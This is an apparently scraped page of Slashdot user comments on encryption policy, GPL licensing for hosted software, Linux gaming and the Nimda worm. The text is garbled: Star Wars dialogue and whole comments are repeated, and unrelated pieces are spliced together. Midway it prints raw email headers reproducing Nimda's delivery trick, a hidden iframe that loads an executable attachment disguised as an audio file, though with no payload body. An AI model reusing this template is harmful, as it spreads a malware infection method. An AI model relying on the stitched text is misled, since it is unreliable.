HAN: Droid of some kind. I didn't hit it that hard. Itmust have had a self-destruct.
LEIA: An Imperial probe droid.
HAN: It's a good bet the Empire knows we're here.
RIEEKAN: We'd better start the evacuation.
Strong cryptography is needed now more than ever.
on
Blaming Encryption
·
· Score: 1
Consider the fact that terrorists would love to crack the communications of free enterprise. If it becomes a criminal act to use encryption, then only criminals will use it. If this happens we might as well paint big bulls-eyes on our rumps and kiss them goodbye. We must defend our information if we want to salvage our economy. Nimda is currently teaching us what sorry shape our defense is in. The government should not be hampering our freedom of secret communication, but rather they should vigorously promote it as a front line of homeland security.
Copyright (except for DMCA) is basically an implied agreement between the owner and buyer. Government's only intervention here is making that agreement implied, rather than having the buyer sign a contractual agreement with the owner, which under a free market, the owner has the right to require.
The way things have been going, it's not surprising. Linux gaming never seemed to really catch on. Retailers can't make a profit from them. 3-D is getting better but still sucks royally compared to Windows. Hurray for closed hardware specs...
Working at the University of Georgia, everything that isn't security or trade secret related on my computer is public record. Anyone submitting the proper request can get anything I store on my machine.
The problem with this logic is that The Onion is blatant satire. The search engines are advertising in a manner that leads the consumer to believe in the falsity that the sites listed first are the best results. It's a matter of deception, not factual correctness.
This is a stream of consiousless mindless rambling rant...i'm not really trying to make a point...sorta just thinking outloud...
I'm assuming the problem with ASPs is the user doesn't have access to the binary, therefore they don't have a copy of the program. But then...
Say I give people logins on my box. They are essentially able to copy any GPL binary on my system, yet I never installed source? Am I violating the GPL by not providing means of getting source? If I modify some of the code on my box and let people use it who I've given logins...I never had any intention of distributing a derived work, yet people with logins can use it? I'm assuming since even though I'm not explicitly giving away derived software, people could indeed obtain copies of it without my knowledge, regardless of whether I care or not, and this violates the GPL?
Now with ASPs we're letting people use software who can't see the binaries (if it's binary) or source code. Now if this doesn't violate the GPL, but the FSF thinks it should, then you have to define distribution in terms of use, ie. anybody who uses this software is entitled to a copy.
How do we define what ASPs are? Should GPL web servers be included? (Apache isn't, of course, so we won't bother with the implications). Anonymous FTP? The difference between "servers" and "ASPs" is so incredibly fuzzy I wouldn't begin to think of how to draw a line between them.
At work I have put up a rather hacked version of Neoboard. This thing has been extremely customized to work with my web site and authentication scheme. My customizations don't really add new features that anybody would be remotely interested in. I hacked it for myself. I don't think my users or the author would want to see what I've done to it. I don't think I should have to let them. I don't think the software is less free if I don't. Wasn't the whole point of the GPL to protect my freedom to hack it as I see fit? And if I chose to give or sell it (as opposed to letting them use an interface of it, regardless of whether they have unpromoted, unspecified access to copy the binaries) to someone, give them that same right? And now if I do that with GPL 3 software, I gotta give the code away? When I'm not making changes and handing out binaries? I'm just letting people use it. It just seems to me to conflict with what the FSF stood for in the first place: letting me make derived works and either keep them secret, or give them away with the same rights as I have.
Slashdot Mirror
Voyager is heroic in the classical sense. They get lost and encounter strange things trying to find their way home. Sounds a lot like The Odyssey.
HAN: Afraid there's not much left.
LEIA: What was it?
HAN: Droid of some kind. I didn't hit it that hard. Itmust have had a self-destruct.
LEIA: An Imperial probe droid.
HAN: It's a good bet the Empire knows we're here.
RIEEKAN: We'd better start the evacuation.
Consider the fact that terrorists would love to crack the communications of free enterprise. If it becomes a criminal act to use encryption, then only criminals will use it. If this happens we might as well paint big bulls-eyes on our rumps and kiss them goodbye. We must defend our information if we want to salvage our economy. Nimda is currently teaching us what sorry shape our defense is in. The government should not be hampering our freedom of secret communication, but rather they should vigorously promote it as a front line of homeland security.
Hey. Wasn't The Matrix an earth simulator? Should we be worried?
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
I'm getting hits from all over campus. So far 221 attacks, though it looks like i'm getting multiple blocks of hits from each host.
Copyright (except for DMCA) is basically an implied agreement between the owner and buyer. Government's only intervention here is making that agreement implied, rather than having the buyer sign a contractual agreement with the owner, which under a free market, the owner has the right to require.
The way things have been going, it's not surprising. Linux gaming never seemed to really catch on. Retailers can't make a profit from them. 3-D is getting better but still sucks royally compared to Windows. Hurray for closed hardware specs...
Yep. Technically we're not allowed to make or receive personal phonecalls either...
KITT! Keep your scanners peeled!
Working at the University of Georgia, everything that isn't security or trade secret related on my computer is public record. Anyone submitting the proper request can get anything I store on my machine.
Holy %#!+ my logs are full of those... no telltale /bin/sh in the junk so it looks like I'm safe. :)
There was a time when I thought X10 was cool. Now that their ads are so annoying, I'll never buy a product from them.
If somebody goes over Slashdot (copyrighted) with a spam crawler and I get spammed, can I send them to jail?!
The problem with this logic is that The Onion is blatant satire. The search engines are advertising in a manner that leads the consumer to believe in the falsity that the sites listed first are the best results. It's a matter of deception, not factual correctness.
http://www.peabody.uga.edu/
can I get a droid to attach it for me?
If I could only get my hands on chicken.coop. :)
Something funky is going on that web page. Ever hear of htmlspecialchars()? Oops, that's PHP. ;)
Even Emacs?
If business A doesn't want you copying software, then they should present you with an agreement to sign in order to purchase use of it.
Trademarks? They were never inteded to protect intellectual property. They're meant to prevent misrepresentation.
I noticed. And CNN consistently reported Haeglin? Huh? And Browned whipped Buchannan here by about 3 times the vote.
I'm assuming the problem with ASPs is the user doesn't have access to the binary, therefore they don't have a copy of the program. But then...
Say I give people logins on my box. They are essentially able to copy any GPL binary on my system, yet I never installed source? Am I violating the GPL by not providing means of getting source? If I modify some of the code on my box and let people use it who I've given logins...I never had any intention of distributing a derived work, yet people with logins can use it? I'm assuming since even though I'm not explicitly giving away derived software, people could indeed obtain copies of it without my knowledge, regardless of whether I care or not, and this violates the GPL?
Now with ASPs we're letting people use software who can't see the binaries (if it's binary) or source code. Now if this doesn't violate the GPL, but the FSF thinks it should, then you have to define distribution in terms of use, ie. anybody who uses this software is entitled to a copy.
How do we define what ASPs are? Should GPL web servers be included? (Apache isn't, of course, so we won't bother with the implications). Anonymous FTP? The difference between "servers" and "ASPs" is so incredibly fuzzy I wouldn't begin to think of how to draw a line between them.
At work I have put up a rather hacked version of Neoboard. This thing has been extremely customized to work with my web site and authentication scheme. My customizations don't really add new features that anybody would be remotely interested in. I hacked it for myself. I don't think my users or the author would want to see what I've done to it. I don't think I should have to let them. I don't think the software is less free if I don't. Wasn't the whole point of the GPL to protect my freedom to hack it as I see fit? And if I chose to give or sell it (as opposed to letting them use an interface of it, regardless of whether they have unpromoted, unspecified access to copy the binaries) to someone, give them that same right? And now if I do that with GPL 3 software, I gotta give the code away? When I'm not making changes and handing out binaries? I'm just letting people use it. It just seems to me to conflict with what the FSF stood for in the first place: letting me make derived works and either keep them secret, or give them away with the same rights as I have.
As I'm confusing myself, I'll stop now.
Block connections with salshdot.org as a referrer, or better yet, send a redirect to http://slashdot.org/ with target="_top". Banner disappears.
Ministry of Software -> Minisoft -> Microsoft?